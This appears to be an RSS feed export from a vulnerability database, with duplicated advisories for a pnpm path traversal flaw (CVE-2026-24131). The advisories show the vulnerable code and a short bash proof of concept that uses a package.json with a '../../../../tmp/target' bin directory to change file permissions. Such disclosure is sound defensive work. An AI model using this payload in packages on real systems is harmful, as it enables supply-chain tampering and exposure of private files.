https://vulnerability.circl.lu Contains only the most 10 recent entries. http://www.rssboard.org/rss-specification python-feedgen en Fri, 09 Oct 2026 13:33:08 +0000 https://vulnerability.circl.lu/vuln/cve-2026-24131 <p><strong>Affected:</strong> pnpm</p> <p>pnpm is a package manager. Prior to version 10.28.2, when pnpm processes a package&#39;s `directories.bin` field, it uses `path.join()` without validating the result stays within the package root. A malicious npm package can specify `&#34;directories&#34;: {&#34;bin&#34;: &#34;../../../../tmp&#34;}` to escape the package directory, causing pnpm to chmod 755 files at arbitrary locations. This issue only affects Unix/Linux/macOS. Windows is not affected (`fixBin` gated by `EXECUTABLE_SHEBANG_SUPPORTED`). Version 10.28.2 contains a patch.</p> <p><strong>Affected:</strong> pnpm</p> <p>pnpm is a package manager. Prior to version 10.28.2, when pnpm processes a package&#39;s `directories.bin` field, it uses `path.join()` without validating the result stays within the package root. A malicious npm package can specify `&#34;directories&#34;: {&#34;bin&#34;: &#34;../../../../tmp&#34;}` to escape the package directory, causing pnpm to chmod 755 files at arbitrary locations. This issue only affects Unix/Linux/macOS. Windows is not affected (`fixBin` gated by `EXECUTABLE_SHEBANG_SUPPORTED`). Version 10.28.2 contains a patch.</p> https://vulnerability.circl.lu/vuln/cve-2026-24131 https://vulnerability.circl.lu/vuln/ghsa-v253-rj99-jwpq <p><strong>Affected:</strong> npm: pnpm</p> <p>### Summary When pnpm processes a package&#39;s `directories.bin` field, it uses `path.join()` without validating the result stays within the package root. A malicious npm package can specify `&#34;directories&#34;: {&#34;bin&#34;: &#34;../../../../tmp&#34;}` to escape the package directory, causing pnpm to chmod 755 files at arbitrary locations.</p> <p>**Note:** Only affects Unix/Linux/macOS. Windows is not affected (`fixBin` gated by `EXECUTABLE_SHEBANG_SUPPORTED`).</p> <p>### Details Vulnerable code in `pkg-manager/package-bins/src/index.ts:15-21`:</p> <p>```typescript if (manifest.directories?.bin) { const binDir = path.join(pkgPath, manifest.directories.bin) // NO VALIDATION const files = await findFiles(binDir) // ... files outside package returned, then chmod 755&#39;d } ```</p> <p>The `bin` field IS protected with `isSubdir()` at line 53, but `directories.bin` lacks this check.</p> <p>### PoC ```bash # Create malicious package mkdir /tmp/malicious-pkg echo &#39;{&#34;name&#34;:&#34;malicious&#34;,&#34;version&#34;:&#34;1.0.0&#34;,&#34;directories&#34;:{&#34;bin&#34;:&#34;../../../../tmp/target&#34;}}&#39; &gt; /tmp/malicious-pkg/package.json</p> <p># Create sensitive file mkdir -p /tmp/target echo &#34;secret&#34; &gt; /tmp/target/secret.sh chmod 600 /tmp/target/secret.sh # Private</p> <p># Install pnpm add file:/tmp/malicious-pkg</p> <p># Check permissions ls -la /tmp/target/secret.sh # Now 755 (world-readable) ```</p> <p>### Impact - Supply-chain attack via npm packages - File permissions changed from 600 to 755 (world-readable) - Affects non-dotfiles in predictable paths (dotfiles excluded by tinyglobby default)</p> <p>##…</p> <p><strong>Affected:</strong> npm: pnpm</p> <p>### Summary When pnpm processes a package&#39;s `directories.bin` field, it uses `path.join()` without validating the result stays within the package root. A malicious npm package can specify `&#34;directories&#34;: {&#34;bin&#34;: &#34;../../../../tmp&#34;}` to escape the package directory, causing pnpm to chmod 755 files at arbitrary locations.</p> <p>**Note:** Only affects Unix/Linux/macOS. Windows is not affected (`fixBin` gated by `EXECUTABLE_SHEBANG_SUPPORTED`).</p> <p>### Details Vulnerable code in `pkg-manager/package-bins/src/index.ts:15-21`:</p> <p>```typescript if (manifest.directories?.bin) { const binDir = path.join(pkgPath, manifest.directories.bin) // NO VALIDATION const files = await findFiles(binDir) // ... files outside package returned, then chmod 755&#39;d } ```</p> <p>The `bin` field IS protected with `isSubdir()` at line 53, but `directories.bin` lacks this check.</p> <p>### PoC ```bash # Create malicious package mkdir /tmp/malicious-pkg echo &#39;{&#34;name&#34;:&#34;malicious&#34;,&#34;version&#34;:&#34;1.0.0&#34;,&#34;directories&#34;:{&#34;bin&#34;:&#34;../../../../tmp/target&#34;}}&#39; &gt; /tmp/malicious-pkg/package.json</p> <p># Create sensitive file mkdir -p /tmp/target echo &#34;secret&#34; &gt; /tmp/target/secret.sh chmod 600 /tmp/target/secret.sh # Private</p> <p># Install pnpm add file:/tmp/malicious-pkg</p> <p># Check permissions ls -la /tmp/target/secret.sh # Now 755 (world-readable) ```</p> <p>### Impact - Supply-chain attack via npm packages - File permissions changed from 600 to 755 (world-readable) - Affects non-dotfiles in predictable paths (dotfiles excluded by tinyglobby default)</p> <p>##…</p> https://vulnerability.circl.lu/vuln/ghsa-v253-rj99-jwpq